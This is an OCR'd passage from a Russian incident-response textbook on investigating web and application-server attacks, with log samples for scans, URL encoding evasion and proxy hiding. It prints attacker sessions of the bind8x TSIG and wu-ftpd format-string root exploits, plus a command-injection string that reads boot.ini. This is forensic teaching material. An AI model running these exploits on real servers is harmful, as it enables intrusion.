Из главы 4 мы знаем, что сетевые журналы являются предпочтитель-
ным методом для безопасного ведения журналов. Кроме того, можно испо-
льзовать выделенный сенсор IDS для пассивного сбора всех запросов URL,
которые пересекают вашу сеть. Существуют коммерческие сенсоры IDS, та-
кие как Network Flight Recorder, или могут создаваться из таких приложе-
ний GNU, как snort или urlsnarf. Предлагается использовать выделенную
систему для такого типа набора IDS. В зависимости от числа факторов,
включая объем контролируемого трафика на сегменте, производитель-
ность сенсора IDS может снизиться, когда он пытается сопоставить входя-
щие запросы с исходящими кодами статуса.
Прокси серверы также часто перехватывают подробную информацию о
каждом запросе, делая ее ценным источником для исследования атак Web.
Информация из прокси серверов и сетевых IDS должна сравниваться с жур-
налами Web сервера для определения, не были ли изменены журналы хоста.
Система обнаружения вторжения на основе сети отказывает при конт-
ролировании сайта, который использует SSL для двухточечного шифрова-
ния. Вы не найдете сенсора IDS на основе сети, который будет расшифро-
вывать сеанс на ходу. Сенсор IDS становится источником проверки
времени и дат запросов HTTP. He недооценивайте эту возможность, каким
бы незначительным это ни могло бы показаться. Случаи вторжения тесно
связаны с корреляцией отметок времени и даты. Вы обнаружите, что запи-
си файла журнала для поддерживающих SSL Web серверов предоставляют

Исследование Web атак
383
такую же информацию, как и их расшифрованные аналоги. Отсюда вывод,
не следует полагаться на один источник создания журналов как при предва-
рительной подготовке к инциденту, так и во время исследования.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
snort: http://www.snort.org
urlsnarf: http://www.monkey.org
Информация файла журнала
Информация в файлах журналов, которые используются для исследования,
хранится в простом, читаемом виде. Важными полями для исследования
подозрительных инцидентов являются отметка времени/даты, IP адрес ис-
точника, код статуса HTTP и запрошенный ресурс. Чтобы проверить эту
информацию, рассмотрим простой запрос к серверу Web для просмотра
информации о версии сервера. Используйте сетевую утилиту netcat:
С:\>nс  n 10.0.2.55 80
HEAD / НТТР/1.0
НТТР/1.1 200 ОК
Server: Microsoft IIS/4.0
Date: Sun 08 Oct 2000 14:31:00 GMT
Content Type: text/html
Set Cookie: ASPSESSI0NIDGQQQQQPA=IH0JAGJDEC0LLGIBNKMCEEED; path=/
Cache control: private
Этот запрос показан следующим образом в записи журнала сервера IIS:
15:08:44 10.0.2.79 HEAD /Default, asp ,200
В записи журнала сервера Apache он выглядит так:
10.0.2.79
[08/0ct/2000:15:56:39  0700] "HEAD /НТТР/1.0" 200 0
Эта деятельность показана в access_log и в журнале IIS без указания о
том, было ли соединение с сервером SSL или с обычным Web сервером.
Для Apache ssl_request_log и ssl_engine_log (/usr/local/apache/logs) пока-
зывают записи, которые указывают, было ли соединение сделано с серве-
ром, поддерживающим SSL. Вот пример записи в ssl_request_log:
[07/0ct/2000:15: 32: 52  0700] 10.0.2.48 SSLv3 EDH RSA DES CBC3 SHA
"HEAD / НТТР/1.0" 0
Третье и четвертое поля выводят параметры шифрования, использован
ные клиентом. В следующем ssl_request_log существуют записи от клиентом
openssl, Internet Explorer и Netscape.
[07/0ct/2000:15:48:26  0700] 10.0.2.48 SSLv3 EDH RSA DES CBC3 SHA
"GET / HTTP/1.0" 2692
[07/0ct/2000:15:52:51  0700] 10.0.2.55 TLSvl RC4 MD5
"GET / HTTP/1.1" 2692
[07/0ct/2000:15:54:46 0700 ] 10.0.2.48 SSLv3 EXP RC4 МD5.
"GET /HTTP/1.0" 2692

384
Глава 14
[07/0ct/2000:15:55:34  0700] 10.0.2.79 SSLv3 RC4 MD5
"GET / HTTP/1.0" 2692
Поле время/дата --- наиболее важное поле в журналах, позволяющее иссле-
дователю проверять события, которые происходят во временных рамках
предполагаемого инцидента. Если вы обнаружите какое либо подозрительное
событие, необходимо проверить его атрибуты --- адрес источника, тип запро-
шенного ресурса и т.д. Затем необходимо выполнить поиск в файлах журна-
лов всех записей с аналогичными атрибутами, чтобы можно было определить
схему деятельности. Файл журнала может содержать тысячи строк, но атаки
все равно будут очевидны для подготовленного исследователя.
Обнаружение зеркалированных сайтов
Первый шаг для большинства атакующих Web серверов является "casing the
joint", или определение информации о программном обеспечении Web серве-
ра и его функциональности. Этот тип информации должен насторожить ис-
следователя. Чтобы проверить всю функциональность сайта, атакующий со-
здаст, вероятно, зеркало сайта, копируя каждую страницу, чтобы проверить
ее в автономном режиме. Для IIS эта деятельность будет видна как множество
запросов с одного и того же IP адреса в течение короткого периода времени:
16:28:52 10.0.2.79 GET /Default.asp 200
16}:28:52 10.0.2.79 GET /robots.txt 404
16:28:52 10.0.2.79 GET /header_protecting_your_privacy.gif 200
16:28:52 10.0.2.79 GET /header_fec_reqs.gif 200
16:28:55 10.0.2.79 GET /photo_contribs_sidebar.jpg 200
16:28:55 10.0.2.79 GET /g2klogo_white_bgd.gif 200
16:28:55 10.0.2.79 GET /header_coritribute_on_line.gif 200
16:49:01 10.0.2.48 GET /Default.asp 200
16: 9:01 10.0.2.48 GET /robots.txt 404
16:49:01 10.0.2.48 GET /header_contribute_on_line.gif 200
16:49:01 10.0.2.48 GET /g2klogo_white_bgd.gif 200
16:49:01 10.0.2.48 GET /photo_contribs_sidebar.jpg 200
16:49:01 10.0.2.48 GET /header_fec_reqs.gif 200
16:49:01 10.0.2.48 GET /rieader_protecting_your_privacy.gif 200
Обнаружение сканирования уязвимостей
После сбора информации о Web сервере атакующий начинает сканирование
уязвимостей. Атакующий ищет Web страницы с известными уязвимостями.
Обычным инструментом, который используют атакующие и аудиторы
системы безопасности для проверки известных уязвимостей Web, является
Whisker. Сканирование Whisker выглядит следующим образом в журнале
IIS:
12:07:56 10.0.2.48 GET /SiteServer/Publishing/viewcode.asp 404
12:07:56 10.0.2.48 GET /msadc/samples/adctest.asp 200
12:07:56 10.0.2.48 GET /advworks/equipment/catalog_type.asp 404
12:07:56 10.0.2.48 GET /iisadmpwd/aexp4b.htr 200
12:07:56 10.0.2.48 HEAD /scripts/samples/details.idc 200

Исследование Web атак
385
12:07:56 10.0.2.48 GET /scripts/samples/details.idc 200
12:07:56 10.0.2.48 HEAD /scripts/samples/ctguestb. idc 200
12:07:56 10.0.2.48 GET /scripts/samples/ctguestb.idc 200
12:07:56 10.0.2.48 HEAD /scripts/tools/newdsn.exe 404
12:07:56 10.0.2.48 HEAD /msadc/msadcs.dll 200
12:07:56 10.0.2.48 GET /scripts/iisadmin/bdir.htr 200
12:07:56 10.0.2.48 HEAD /carbo.dll 404
12:07:56 10.0.2.48 HEAD /scripts/proxy/ 403
12:07:56 10.0.2.48 HEAD /scripts/proxy/w3proxy.dll 500
12:07:56 10.0.2.48 GET /scripts/proxy/w3proxy.dll 500
Идентичное сканирование выглядит следующим образом в журналах
Apache:
10.0.2.48
[08/0ct/2000:12:57:28  0700] "GET /cfcache.map HTTP/1.0"
404 266 10.0.2.48  . [08/0ct/2000:12:57:28  0700]
"GET/cfide/Administrator/startstop.html HTTP/1.0" 404 289
10.0.2.48
[08/0ct/2000:12:57:28  0700]
"GET /cfappman/index.cfm HTTP/1.0" 404 273
10.0.2.48
[08/0ct/2000:12:57:28  0700] "GET /cgi bin/ HTTP/1.0"
403 267 10.0.2.48
[08/0ct/2000:12:57:29  0700]
"GET /cgi bin/dbmlparser.exe HTTP/1.0" 404 277
10.0.2.48
[08/0ct/2000:12:57:29  0700]
"HEAD / vti inf.html HTTP/1.0" 404 0
10.0.2.48
[08/0ct/2000:12:57:29  0700]
"HEAD /_vti_pvt/ HTTP/1.0" 404 0
10.0.2.48
[08/0ct/2000:12:57:29  700]
"HEAD /cgi bin/webdist.cgi HTTP/1.0" 404 0
10.0.2.48
[08/0ct/2000:12:57:29  0700]
"HEAD /cgi bin/handler HTTP/1.0" 404 0
10.0.2.48
[08/0ct/2000:12'.57:29  0700]
"HEAD /cgi bin/wrap HTTP/1.0" 404 0
10.0.2.48
[08/0ct/2000:12:57:29  0700]
"HEAD /cgi bin/pfdisplay.cgi HTTP/1.0" 404 0
Это в действительности только небольшой фрагмент сканирования
Whisker; реальные результаты имеют больше записей журнала. Ключевыми
данными, которые необходимо искать, являются повторяющиеся запросы
ресурса. В результате они имеют коды ошибок, возвращаемые клиенту. По
мните, что в кодах статуса HTTP в диапазоне от 400 до 599 находятся кли
ентские или серверные ошибки. Любой сканер уязвимостей, разыскиваю
щий известную уязвимость Web страниц, будет неизбежно вызывать
множество кодов ошибок типа 404 ("файл не найден"). Кроме того, IP адрес
источника должен оставаться статическим.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
whisker: http://www.wiretrip.net/rfp/p/doc.asp?id=21&iface 2

386
Глава 14
Пример инцидента
Атакующие могут использовать другие приемы взлома Web, чтобы за-
труднить работу исследователя. Одним из простейших способов зама-
скировать атаку является изменение запроса URL. Расследуя Web атаку,
мы обычно ищем в файлах журналов некоторые строки (совокупности
символов обычного текста) в запросах ресурса, которые соответствуют
известным уязвимостям, таким как "cgi bin/test cgi". Если хакер должен
запросить этот файл, то запрос выглядит следующим образом:
[root@localhost]# nc  п 10.0.0.2 80
HEAD /cgi bin/test cgi HTTP/1.0
Запись журнала Apache будет такой:
10.10.10.10
[18/0ct/2000:08:22:47  0700]
"HEAD /cgi bin/test cgi HTTP/1.0" 200 0
Однако если запрос URL преобразован в шестнадцатеричный формат,
то Web сервер по прежнему интерпретирует запрос правильно несмотря
на применение записи файла журнала:
10.10.10.10
[18/0ct/2000:08:23:47  0700]
"HEAD /%63%67%69 bin/test %63%67%69 HTTP/1.0" 200 0
Отметим, что простое рассмотрение файла журнала в поисках строки
"cgi" бесполезно в этом случае, даже хотя мы можем выяснить, что запрос
был успешным.
Получите исходный код утилиты сканирования
Чтобы правильно понять и опознать следы, оставленные в журнале Web
сервера так называемым контроллером уязвимости на основе грубой силы,
просмотрите исходный код для каждой утилиты. Whisker написан на Perl и
имеет гибкий контрольный список сканирования. Знакомство с общим по-
рядком и параметрами, использованными во время автоматического скани-
рования, может сэкономить время для исследования в сжатые сроки.
Исследование искажений, нанесенных Web сайту
Искажение Web сайта --- одна из наиболее распространенных и привлекаю-
щих внимание атак, которые можно увидеть сегодня. Подтверждение того,
что произошло искажение, является простой задачей для исследователя: про-
верьте изменения на сайте (или проверьте список Web сайта Attrition, чтобы
узнать, не привлек ли сайт публичное внимание). Исследование атаки требует
больше усилий.
Чтобы исказить Web сайт, атакующий должен иметь доступ для записи к
корневому каталогу Web сайта. Доступ для записи подразумевает полноцен-
ную компрометацию Web сервера. Компрометация может быть следствием
любой уязвимости безопасности в системе --- слабый пароль, неправильная

Исследование Web атак
387
конфигурация операционной системы или уязвимость приложения. Реаги-
рование должно выполняться согласно рекомендациям, специфическим
для операционной системы. Если источник уязвимости оказывается атакой
уровня приложения против самого Web сервера, то будет полезна проверка
файлов журналов.
С другой стороны некоторые случаи искажения Web сайтов не являются
результатом прямой компрометации. Если атакующий скомпрометирует офи-
циальный сервер имен доменов для рассматриваемого Web сайта или если
атакующий изменит на официальном сервере имен доменов запись о домене
Web сайта, то атакующий сможет перенаправить весь трафик, предназначен-
ный для Web сервера на любой сайт, расположенный в любом месте.
Задачи усилий по реагированию при искажении Web сайта могут кон-
центрироваться вокруг восстановления, а не полного исследования. Основ-
ная проблема состоит обычно в том, чтобы вернуть Web сайт в нормальное
рабочее состояние как можно быстрее. Это минимизирует воздействие на
заказчиков.
ОСТОРОЖНО Помните о том, что, не получив судебные образы рассматриваемых
серверов, вы ограничиваете свои возможности в будущем. Если
сайт снова окажется под атакой и организация решит предпринять
какие то действия, вам могут понадобиться доказательства о пре-
дыдущих инцидентах. Сделайте судебные образы, чтобы Web сер-
вер можно было проверить позже структурированным судебным
образом, чтобы определить, не оставил ли атакующий каких либо
доказательств своих действий.
Что может произойти
После того как атакующий идентифицировал потенциальную уязвимость,
следует ее использование. Одной из наиболее известных и распространен-
ных уязвимостей IIS является атака MDAC (Microsoft Data Access Object),
которая использует библиотеку msadcs. Атака предоставляет удаленный до-
ступ к любой системе Windows, выполняющей уязвимый Web сервер IIS.
Где искать доказательства
В файле журнала IIS атака выглядит следующим образом:
17:48:49 10.0.2.7 GET /msadc/msadcs.dll 200
17:48:51 10.0.2.7 POST /msadc/msadcs.dll 200
Код 200 статуса HTTP указывает на успех. Отметка времени/даты этой
деятельности, вероятно, совпадает или слегка предшествует предполагае-
мому инциденту, особенно в случаях искажения Web сайта.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Список искаженных Web сайтов: http://www.attrition.org

388
Глава 14
Исследование атак на уровне приложений
Атаки на уровне приложений направлены на функциональность Web сайта.
Атакующие заставляют приложение предоставлять информацию или вести
себя таким образом, который не предусмотрен организацией. HTTP явля-
ется протоколом без состояния. Это означает, что сервер обрабатывает
каждый клиентский запрос как отдельную сущность. В большинстве ситуа-
ций это работает очень хорошо --- представьте объем памяти, который мо-
жет потребоваться для отслеживания каждого клиента, который посещает
такой сайт, как www.cnn.com.
Разработчики Web должны ввести механизмы для создания рабочей сре-
ды без состояния для отслеживания регистрации пользователей, корзин по-
купателей или любого вида информации, которая используется для предо-
ставления уникальной рабочей среды. Многие атаки уровня приложений
применяют механизмы, которые используются для создания состояния. Они
включают cookie файлы, базовую аутентификацию и кодирование UR.L.
Пример инцидента
Во время опытного тестирования безопасности Web приложений мы об-
наружили множество атак, включающих Web сервер, который не разреша-
ет доступ для записи, но позволяет атакующему запросить на Web сервере
чувствительную информацию, неправильно используя функциональность
приложения. Рассмотрим следующий URL:
http://site.com/Login.asp?id=486&ru=http%3A%2F%2Fwww%2ESsite%
2Ecom%2Fdirectory%2FDefault%2Easp&tw=14400&fs=0&kv=1&ct=944250968&Ui=1
Он содержит следующие параметры:
Поле id имеет значение 486.
Поле ru имеет значение http://www.site.com/directory/Default.asp
(кодированное).
Поле tw имеет значение 14400.
Поле fs содержит 0.
Поле kv содержит 1.
Поле ct имеет значение 944250968.
Поле Ui содержит 1.
Определение функции каждого поля позволит атакующему использо-
вать уязвимость в том, как Web сервер анализирует определенное поле.
Предположим, что определенный ASP неудовлетворительно удаляет ве-
дущую информацию из поля id. Существует определенная уязвимость в
связи со способом, которым сценарии ASP неверно обрабатывают специ-
альные (escape) символы. Атакующий может вставить что нибудь типа
<здесь специальный код>type%20\boot.ini, чтобы заставить сервер вернуть
файл boot.ini Web сервера на запрос HTTP.

Исследование Web атак
389
Атакующие могут манипулировать любым из этих механизмов для получения
непредсказуемых результатов. Разнообразие атакующих бесконечно, так как
бесконечна функциональность приложений.
Исследование атак такого типа должно быть сосредоточено на файлах
журналов, так как каждый запрос ресурса будет записываться. Запросы ресур-
сов должны проверяться, чтобы точно определить, что они делают, и не су-
ществует ли подозрительных структур. Не видите ли вы множества запросов,
использующих различные ID пользователей, но исходящие из одного IP ад-
реса? Любые необычные запросы или структуры должны тщательно иссле-
доваться. Чтобы понять, что происходит и как приложение функционирует,
проконсультируйтесь у разработчиков приложения.
Определение источника атак
Атаки на Web сервер используют набор протоколов TCP/IP. TCP характери-
зуется тем, что соединения трудно подделать; т.е. атакующие не могут легко
изменить свой адрес источника и по прежнему завершить соединение TCP.
Соответственно адрес источника, который появится в файлах журналов,
является обычно IP адресом источника атаки.
Менее подготовленные атакующие могут использовать свои персональ-
ные компьютеры или учетные записи для запуска атак, однако большинство
атакующих будут применять промежуточные системы для перенаправления
своих запросов HTTP. Скорее всего атакующий воспользуется рядом скомп
р легированных компьютеров для маскировки истинного источника атаки.
Вы видели атаки, исходящие из библиотек, Интернет кафе, из анонимных
узлов переадресации (анонимайзеров). Атакующий обычно входит в скомп-
рометированную систему (или использует перенаправление портов) с дру-
гой скомпрометированной системы и т.д., пока не почувствует себя доста-
точно изолированным (или пока задержка от соединений не станет мешать),
запуская в конце концов атаку с одной из скомпрометированных систем.
IP адрес в файле журнала является истинным источником атаки, но не ис-
тинным исходным адресом. Помните об этом при исследовании инцидента.
Характеристики Web трафика предлагают атакующему другой метод для
сокрытия источника атаки. Прокси серверы являются серверами, которые
получают входящие запросы HTTP и пересылают их по их конечному на-
значению. Когда используется прокси сервер, адресом источника, который
появится в файле журнала Web сервера, будет IP адрес прокси сервера.
Множество программ предоставляют такую возможность, и прокси серве-
ры часто используются невнимательно. Чтобы еще больше усложнить ситу-
ацию, атакующий может соединить в цепочку несколько прокси, чтобы
сбить исследователя со следа. Существует даже автоматическое программ-
ное обеспечение, SocksChain, доступное для сокрытия атак.
В связи с трудностями отслеживания атак на основе Web, многие исследо
ватели предпочитают сосредоточиться на восстановлении и последующем
предотвращении, а не на определении виновного.

390
Глава 14
Что может произойти
Атакующий запрашивает информацию с Web сервера:
[root@10.1.1.1 /]# nc  v 10.8.8.8 80
HEAD / НТТР/1.0
Запрос появится в файле журнала с адресом источника 10.1.1.1, как и
должно быть:
10.1.1.1
[18/0ct/2000:03:31:58  0700] "HEAD / HTTP/1.0" 200 0
Затем атакующий использует прокси сервер с адресом 216.234.161.83
для отправки того же запроса:
[root@10.1.1.1 /]# nc  v 216.234.161.83 80
HEAD http://10.8.8.8/ HTTP/1.0
Файл журнала записывает IP адрес прокси в качестве источника, а не ад-
рес атакующего:
216.234.161.83
[18/0ct/2000:03:39:29  0700] "HEAD / HTTP/1.1" 200 0
Где искать доказательства
Прокси серверы обычно предоставляют прекрасные возможности по веде-
нию журналов. Если можно получить файлы журналов с прокси сервера, то
существует большая вероятность, что обнаружится IP адрес источника, ко-
торый использует прокси. Если несколько прокси серверов соединены в
цепь, то задача усложняется. Вы будете знать, что делать: запрашивать жур-
налы на каждом шаге вдоль пути. Представьте трудности получения файлов
журналов из множества прокси серверов, расположенных в различных
странах. На исследования могут уйти месяцы и только для того, чтобы най-
ти источник атаки в компьютере публичной библиотеки.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Публично доступные прокси серверы: http://www.proxy4all.com
SocksChain: http://www.ufasoft.com/socks
ИТОГИ
Как вы узнали, атаки против Web сайтов лучше всего исследовать с помощью
локально созданных файлов журналов правильно сконфигурированных
Web серверов. Распространение уникальных Web приложений и различных
технологий привели к тому, что не существует единственного подхода для ин-
цидентов, включающих Web сайты. Это особенно справедливо для тех сайтов,
которые требуют SSL для всех соединений, так как сетевые журналы предо-
ставляют информацию только об IP адресах источника и места назначения.
Однако журналы сетевых устройств (системы IDS или маршрутизатора) могут
предоставить критически важную информацию.

ГЛАВА 15
Исследование
серверов приложений

392
Глава 15
Незащищенные компьютерные приложения являются самым большим ис-
точником внешней компрометации. Инциденты, включающие приложения,
отличаются друг от друга. В этой главе мы опишем несколько распростра-
ненных атак на сервер приложений и некоторые методы, используемые для
исследования подозрительных инцидентов. Посмотрим на инциденты,
включающие серверы DNS (Domain Name System), серверы FTP (File Trans-
fer Protocol) и службы удаленного вызова процедур (RPC). Кроме того, рас-
смотрим, как программы "чата" ("chat") и приложений Microsoft Office могут
использоваться при реагировании на инцидент. Затем обсудим некоторые
методы для определения источника атак на приложения и восстановления
после атак этого типа.
Помните, что описанные здесь инциденты являются просто представите-
льными образцами того, что может происходить и как искать доказательства.
Вам необходимо понимать вовлеченные приложения, знать об уязвимостях,
связанных с этими приложениями, и учитывать возможности журналов сис-
темы, чтобы успешно исследовать атаки на сервер приложений.
ИССЛЕДОВАНИЕ ИНЦИДЕНТОВ С СЕРВЕРОМ ИМЕН ДОМЕНОВ
Серверы DNS (Domain Name System) являются уязвимыми для прямых
атак, а также для атак, которые компрометируют их функциональность.
Рассмотрим, как исследовать оба типа атак.
ВНИМАНИЕ DNS отображает полностью квалифицированные имена доменов
(FQDN), такие как www.securityfocus.com, в IP адреса, такие как
66.38.151.10, и наоборот. Серверы DNS отвечают на запросы DNS
для трансляции FQDN в соответствующий числовой IP адрес. Более
подробная информация о DNS находится в Приложении А.
Обработка прямых атак
Множество списков уязвимостей DNS было опубликовано за прошедшие
годы, прежде всего для серверов DNS, которые используют программное
обеспечение BIND (Berkeley Internet Name Domain). Можно найти сводку
этих уязвимостей на Web сайте CERT Carnegi Mellon. Некоторые из этих уяз-
вимостей позволяют атакующему удаленно скомпрометировать сервер DNS
на любом уровне привилегий, с которым выполняется DNS сервер (обычно
администратора). Самые последние уязвимости связаны с переполнением
буфера в связи с кодом обработки сигнатуры транзакций (TSIG).
К сожалению, прямые атаки на сервер DNS оставляют после себя мало
доказательств на сервере, который сконфигурирован с используемыми по
умолчанию настройками. По умолчанию большинство журнальных записей
и сообщений об ошибках хранится в файлах syslog и messages, обычно в ка .
талоге /var/log. Информация, которая хранится в этих файлах, включает
время запуска службы named DNS и время остановки.

Исследование серверов приложений
393
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Программное обеспечение Berkeley Internet Name Domain (BIND):
http://www.isc.org/products/BIND/
Консультации CERT no уязвимостям сервера DNS: http://www.cert.org/advisories/
CA 2001 02.html
Что может произойти
Атакующий обнаружил систему Linux, выполняющую BIND:
[root@perro /root]# nmap 10.10.10.1  p 53  0
Starting nmap V. 2.3.0BETA17 by fyodor@insecure.org
(www.insecure.org/nmap/ )
Interesting ports on (10.10.10.1):
Port
State
Service
53/tcp
open
domain
TCP Sequence Prediction: Class=random positive increments
0ifficulty=3340901 (Good luck!)
Remote operating system guess: Linux 2.1.122 2.2.14
Nmap run completed 1 IP address (1 host up) scanned in 1 second
Атакующий определяет версию BIND, используя команду dig:
root@perro# dig @10.10.10.1 version.bind txt chaos
Ответ предоставляет версию:
VERSION.BIND.
OS CHAOS TXT
"8.2.1"
Известно, что BIND 8.2.1 имеет уязвимость в связи с переполнением бу-
фера TSIG. Атакующий действует быстро:
[root@perro /root]# ./bind8x 10.10.10.1
[*] named 8.2.x (< 8.2.3 REL) remote root exploit by lucysoft, Ix
[*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net
[*] attacking 10.10.10.1 (10.10.10.1)
[d] HEADER is 12 long
[d] infoleak_qry was 476 long
[*] iquery resp len = 719
[d] argevdispl = 080d7cd0, agrevdisp2 = 4010d6c8
[*] retrieved stack offset = bffffae8
[d] evil_query(buff, bffffae8)
[d] shellcode is 134 long
[d] olb = 232
[*] injecting shellcode at 1
[*] connecting..
[*] wait for your shell..
Linux lucky 2.2.12 20 #1 Mon Sep 27 10:40:35 EDT 1999 i.686 unknown
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Атакующий получил теперъ доступ уровня администратора к серверу DNS.

394
Глава 15
Где искать доказательства
В этом примере BIND 8.2.1 выполняется в системе RedHat Linux 6.1. Единст-
венные сообщения, которые вы видите, находятся в файле /var/log/messages.
Они сообщают последнее время, когда служба named была запущена и когда
был обнаружен крах сервера.
Apr 22 10:16:04 lucky named [627] : starting, named 8.2.1
Sat Apr 21 18:56:06 PDT 2001
Исследование искажения кэша
Атакующему не требуется напрямую компрометировать сервер DNS, чтобы
создать разрушение. Так как серверы DNS играют критическую роль в сете-
вой инфраструктуре, атакующий может манипулировать работой сервера
DNS и создать таким образом проблемы.
Предположим, что вы оплачиваете счет кредитной карты в сети, соеди-
няясь с www.pay your bills.com. Ваш компьютер использует сервер DNS для
разрешения адреса www.pay your bills.com в IP адрес. Атакующий искажает
кэш вашего сервера DNS, так что www.pay your bills.com теперь обозначает
IP адрес, который контролирует атакующий. Когда вы пытаетесь оплатить
счета, соединение неведомым для пользователя образом происходит с сис-
темой атакующего, который извлекает имя пользователя и пароль перед
перенаправлением пользователя на реальный www.pay your bills.com.
Атаки изменения кэша впервые встретились несколько лет назад. По-
тенциально новый поворот к старой теме доступен в системах Windows 2000.
В дополнение к кэшу сервера хосты Windows 2000 хранят записи DNS в
кэше распознавателя (resolver). Если кэш распознавателя изменяется, то те-
оретически возможно ложное перенаправление, описанное в предыдущем
примере.
Утилиты изменения кэша, такие KaKjizz.c или any erect.c, доступны бесплат-
но на многих сайтах. При использовании одной из таких утилит атакующий
может запросить сервер DNS, заставляя его кэшировать неточную информацию.
Кэшированные записи DNS хранятся недолго. Фактически они сущест-
вуют заранее сконфигурированный, конечный период времени. Обычно
настройка TTL (Time to Live --- время жизни) для кэшированных записей
равна нескольким дням. Это относительно небольшой период времени для
исследователя при условии, что для использования кэшированной инфор-
мации необходимо сначала определить, что произошел инцидент, и пред-
положить, что он включает изменение кэша. Однако, когда вы убедились,
что кэш был изменен, вы можете скопировать содержимое кэша сервера
DNS для просмотра неподходящих записей. На большинстве систем UNIX
это делается с помощью команды BIND ndc:
[root@perro log]# ndc dumpdb
Database dump initiated.
По умолчанию результаты копирования кэша хранятся в файле ASCII
/var/named/named_dump.db. Вы сможете увидеть каждую запись в кэше
сервера DNS. В зависимости от конфигурации BIND, вы сможете понять,

Исследование серверов приложений
395
откуда происходит каждая запись. Определение точки происхождения из-
мененных записей является предельно важным для исследователя. Для сис-
тем UNIX, выполняющих BIND, настройка параметров статистики хоста
как yes в файле named.conf должна обеспечить детальную запись в журнал,
но за счет существенного увеличения использования памяти.
Мы в данный момент не знаем о способах использования изменения
кэша для серверов Windows DNS, но содержимое кэша легко доступно че-
рез графический интерфейс пользователя. Системы Windows 2000 будут
также копировать содержимое кэша своего распознавателя (resolver) с по-
мощью команды ipconfig:
С:\>ipconfig /displaydns
Windows 2000 IP Configuration
dns1. hostme.com.
Record Name
: dns1.hostme.com
Record Type
:1
Time To Live
: 34987
Data Length
:4
Section
: Answer
,
A (Host) Record .;•.': 206.245.167.2
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Консультации CERT по изменениям кэша: http://www.cert.org/advisories/CA 1996 04.html
Church of the Swimming Elephant (утилиты изменения кэша): http://www.cotse.com/
name.htm
ИССЛЕДОВАНИЕ ИНЦИДЕНТОВ С СЕРВЕРАМИ FTP
До появления HTTP серверы FTP наиболее часто использовались сервера-
ми приложений для совместного применения файлов и информации. Су-
ществуют различные инциденты с FTP, но двумя основными типами явля-
ются прямая компрометация и неправильное использование хранилища
файлов.
Обработка инцидентов с прямой компрометацией
Уязвимости сервера FTP позволяют атакующему непосредственно скомпро-
метировать систему, на которой размещен сервер FTP. Некоторые недавно
широко распространенные уязвимости связаны с ошибками в сервере FTP
Вашингтонского университета, одного из наиболее широко распространен
ных серверов. Код для использования этой уязвимости (код программы не-
законного использования) легко доступен в нескольких источниках, таких
как архив bugtraq на Web сайте SecurityFocus.com.
Прямая компрометация сервера FTP может быть настолько простой,
как получение атакующим мисонного пароля для системы, содержащей сер
вер FTP, Законные пароли можно получить с помощью многих средств,

396
Глава 15
включая подбор с применением грубой силы, сетевое прослушивание или
социальную инженерию. В зависимости от того, как сконфигурирован сер-
вер FTP, троянские программы могут встраиваться в домашние каталоги за-
конных пользователей для выполнения команд атакующего.
Журналы в сети и на хосте предоставляют ценные записи, которые мо-
гут помочь определить как, когда и откуда произошла такая компромета-
ция. Журналы соединений перечисляют время, даты и адреса источников.
Журналы хостов и некоторые журналы IDS также могут содержать другую
ценную информацию. Как вы знаете, Нельзя доверять журналам, находя-
щимся на системе жертве. Однако если атакующий не слишком сообразите-
лен или если журналы хранятся на центральном сервере syslog, вам может
повезти с определением времени, даты, источника и типа атаки.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Архивы Bugtraq (код, использующий уязвимость сервера FTP Вашингтонского
университета): http://www.securityfocus.com
Что может произойти
Злоумышленник нацелился на вашу сеть и обнаружил хост, выполняющий
FTP:
[root@attacker]# nmap  0 24.19.250.36  р 21
Starting nmap V. 2.52 by fyodor@insecure.org (www.insecure.org/nmap/)
Interesting ports on 10.10.10.1 (10.10.10.1):
Port State Service
21/tcp open
ftp
TCP Sequence Prediction: Class=random positive increments
Difficulty=1522714 (Good luck!)
Remote operating system quess: Linux 2.1.122 2.2.14
Атакующий обнаруживает версию сервера FTP, соединяясь со стандарт-
ным клиентом FTP:
[root@attacker]# ftp 10.10.10.1
Connected to 10.10.10.1
220 perro FTP server
(Version wu 2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.
Версия Washington University 2.6.0(1) --- известный уязвимый сервер
FTP. Атакующий загружает, компилирует и выполняет рабочую программу
использования уязвимости:
[root@aplinux prosise]# ,/wu  s0  t 10.10.10.1
Target: 24.19.250.36 (ftp/<shellcode>):
RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028,Shellcode: 152
loggin into system..
USER ftp
331 Guest login ok, send your complete e mail address as password.
PASS <shellcode>

Исследование серверов приложений
397
230 Next time please use your e mail address as your password
230
for example: joe@192.168.1.1
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C me now)
STEP 5 : Sending code.. this will take about 10 seconds.
Press "\ to leave shell
Linux perro 2.2.14 5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uld=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
Атакующий выполняет команду в первой строке с параметром " sO", вы-
бирая тип системы жертвы как "О", что соответствует RedHat Linux 6.2
(многие другие системы также уязвимы), и затем IP адрес жертвы. Послед-
няя строка в листинге кода показывает, что атакующий получил интерак-
тивный административный доступ к системе.
Где искать доказательства
Для определения того, что произошло, проверьте журналы syslog, messages
и secure, которые обычно располагаются в каталоге /var/log. В случае бо-
льшинства серверов UNIX, TCP Wrappers записывает попытки соединений
с одним из этих файлов. (Обратитесь к главе 12 за дополнительной инфор-
мацией о журналах UNIX и TCP Wrappers.) В журнале security видны все по-
пытки соединения с сервером FTP, включая сканирование портов и кражу
баннеров, записанные с адресом источника и отметками времени/даты:
Apr 22 19:54:35 perro in.ftpd[17089]: connect from 192.168.1.1
